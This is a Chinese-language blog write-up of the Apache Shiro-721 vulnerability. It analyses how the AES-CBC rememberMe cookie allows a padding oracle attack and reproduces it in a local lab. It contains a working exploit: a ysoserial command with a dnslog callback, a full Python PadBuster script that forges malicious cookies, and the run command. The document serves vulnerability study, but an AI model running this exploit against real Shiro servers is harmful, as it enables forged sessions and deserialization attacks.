shiro-721
follycat Lv3

环境搭建

有点小懒哈哈,就直接用的Drunkbaby师傅的环境了,直接用downgit下载了,然后和shiro550一样配一个tomcat就可以了,搭建好之后就是这样子的。

漏洞分析

这个漏洞主要基于Padding Oracle Attack攻击,由于shiro对cookie的加密模式为AES-CBC,并且可以从返回中得到从而导致了这个漏洞的存在

Padding Oracle Attack

原理可以参考这几个佬写的,写的很详细。

https://goodapple.top/archives/217

https://lightless.me/archives/padding-oracle-attacks.html#_label2_0

https://drun1baby.top/2023/03/08/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Shiro%E7%AF%8702-Shiro721%E6%B5%81%E7%A8%8B%E5%88%86%E6%9E%90/#Padding-Oracle-Attack-%E6%9E%84%E9%80%A0%E5%8A%A0%E5%AF%86%E6%95%B0%E6%8D%AE%E5%88%86%E6%9E%90

我个人的理解是,通过是否能使明文符合填充规律的判断来依次爆破iv最后一个字节到第一个字节的值,以此得到所有正确的明文以及中间值,然后将iv进行修改,从而异或出想要的明文。

Padding Oracle Attack的利用条件有几个:

  1. 是使用AES-CBC进行加密的
  2. 可以获取到密文以及iv
  3. 可以观察到解密的结果是否正确

加密代码分析

首先是他的加密代码,在之前的shiro550漏洞的分析过程中,通过对其解密方式的分析寻找到了其AES加密的默认密钥,而后续shiro将默认密钥取消,更改为如果用户不自己设置密钥,就随机生成,在那段代码中就存在AES加密的实现代码。

首先,找到org.apache.shiro.mgt.AbstractRememberMeManager#AbstractRememberMeManager这个方法就是之前shiro550中找到密钥的方法。

然后看到其加密是调用了AesCipherService这个类的,跟进这个类

这个类很简单,但是他是继承了DefaultBlockCipherService这个类的,所以继续跟进到DefaultBlockCipherService这个类中

找到他的构造函数, 其中继承了父类并初始化了加密算法,其中设置了加密模式为CBC, 并将流式加密的填充方案设置为 PKCS5,这就构成了Padding Oracle Attack的部分条件,也就是加密为AEC-CBC模式。

密钥生成

这里调试一下,来跟一下它密钥生成的过程。

首先可以看到其初始化的一些参数, shiro是通过generateNewKey()方法来获取密钥的,所以调试到generateNewKey中

继续步入到generateNewKey,

然后初始化了一个KeyGenerator,其中getAlgorithmName的参数就是AES,随后调用init()方法,继续步入init()

其中JceSecurity.RANDOM是一个预定义的 SecureRandom 对象,通常用于提供安全的随机数,随后步入到下面的init()方法中,

其进行了一个初始化的操作,其中engineInit方法用于初始化 AES 加密引擎,继续调试,在engineGenerateKey方法中下一个断点。

这个方法是用于AES的密钥生成的,其中通过定义好的密钥大小进行随机生成密钥。

可以看到密钥已经成功生成了,随后跟进到getEncoded中。

将密钥读取出来,从而完成密钥生成操作

Shiro中的cookie处理操作分析

错误处理

首先找到解密函数org.apache.shiro.mgt.AbstractRememberMeManager#decrypt()

继续跟进到cipherService.decrypt中,

这个方法用于解密操作,并提取初始化iv,继续跟进到下一个decrypt中。

步入crypt,其进入了doFinal方法。

跟进到doFinal,可以发现其有两个异常处理,分别用于捕获块大小异常和填充错误异常。

如果出现异常的话将会被抛出到crypt() 方法中,并且进入onRememberedPrincipalFailure方法。

跟进到onRememberedPrincipalFailure方法,这个方法又调用了forgetIdentity方法,这个方法就是输出Set-Cookie: rememberMe=deleteMe的方法,因此如果Padding不正确将会输出Set-Cookie: rememberMe=deleteMe

正确处理

当没有报出异常时,程序将继续运行,从而获取于返回解密后的序列化数据。

返回序列化数据后,就和shiro550的反序列化处理是一样的了。

由于有俩个不同的返回值,正确时正常返回,错误时返回Set-Cookie: rememberMe=deleteMe,因此构成了Padding Oracle Attack的条件。

漏洞复现

首先就是使用yso生成一个payload.class文件,

1
java -jar ysoserial-all.jar URLDNS "http://zjc7fd.dnslog.cn" > payload.class

然后用这个脚本跑https://github.com/inspiringz/Shiro-721

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#https://github.com/3ndz/Shiro-721  
# -*- coding: utf-8 -*-
from paddingoracle import BadPaddingException, PaddingOracle
from base64 import b64encode, b64decode
from urllib import quote, unquote
import requests
import socket
import time

class PadBuster(PaddingOracle):
def __init__(self, **kwargs):
super(PadBuster, self).__init__(**kwargs)
self.session = requests.Session()
self.wait = kwargs.get('wait', 2.0)

def oracle(self, data, **kwargs):
somecookie = b64encode(b64decode(unquote(sys.argv[2])) + data)
self.session.cookies['rememberMe'] = somecookie
if self.session.cookies.get('JSESSIONID'):
del self.session.cookies['JSESSIONID']
while 1:
try:
response = self.session.get(sys.argv[1],
stream=False, timeout=5, verify=False)
break
except (socket.error, requests.exceptions.RequestException):
logging.exception('Retrying request in %.2f seconds...',
self.wait)
time.sleep(self.wait)
continue

self.history.append(response)
if response.headers.get('Set-Cookie') is None or 'deleteMe' not in response.headers.get('Set-Cookie'):
logging.debug('No padding exception raised on %r', somecookie)
return
raise BadPaddingException


if __name__ == '__main__':
import logging
import sys

if not sys.argv[3:]:
print 'Usage: %s <url> <somecookie value> <payload>' % (sys.argv[0], )
sys.exit(1)

logging.basicConfig(level=logging.DEBUG)
encrypted_cookie = b64decode(unquote(sys.argv[2]))
padbuster = PadBuster()
payload = open(sys.argv[3], 'rb').read()
enc = padbuster.encrypt(plaintext=payload, block_size=16)
print('rememberMe cookies:')
print(b64encode(enc))

将paddingoracle.py下载下来然后放在一个目录里就可以了

目录如下

1
python2 1.py http://192.168.45.1:8080/shiro721_war/account ODTZF2XfGvZt6Sd7nPr1uobDF3wEPLFATG4FI/AnHlfqK84poH1O29Isv1b28yKUPb4Q0+mQJJIOdLjxUGQ/yH6tfO+/vv0ELaDPr10htVAClDEdYbtWN8LETc8tCiAwYshj0ScvakVXDbmjcIVkUA2HEP0KPJJbO5Fy6MgG27XXhikyVnehaqITonX9C1EVFGuvzCZPZygYlHP3Lw+VAXMQ7+fD0P5OrmIwk60DqE7cFWSxkXMi/Q7odK0blH/6rvOrLcirrga0bIi0+6RN/F0Sl9zQSnZCZlZylT1c8HvxYCLblmnZjh8FG7RZpYO4mTkuGp2b6KqkLUEC4cXO+dMGYcscAUWOc+RUeBsSLlB/j/UodYfa98Gzf2luMldcDX1K5YN+Z2j0Qj9TQbU6OTmxbr6+FD9Sf7bJuU8lRQyNSj2sygd/9Q3U5nDUQTq4/B3rb6afnfRYHeG8A4qaNgiYHJxIZ+BcTgclz6IMp4bkGYWdTFcTBMwplckHWpop payload.class

执行成功

工具复现,这个是真快我丢

 Comments
Comment plugin failed to load
Loading comment plugin
Please fill in the required configuration items for Valine comment plugin
Powered by Hexo & Theme Keep
Unique Visitor Page View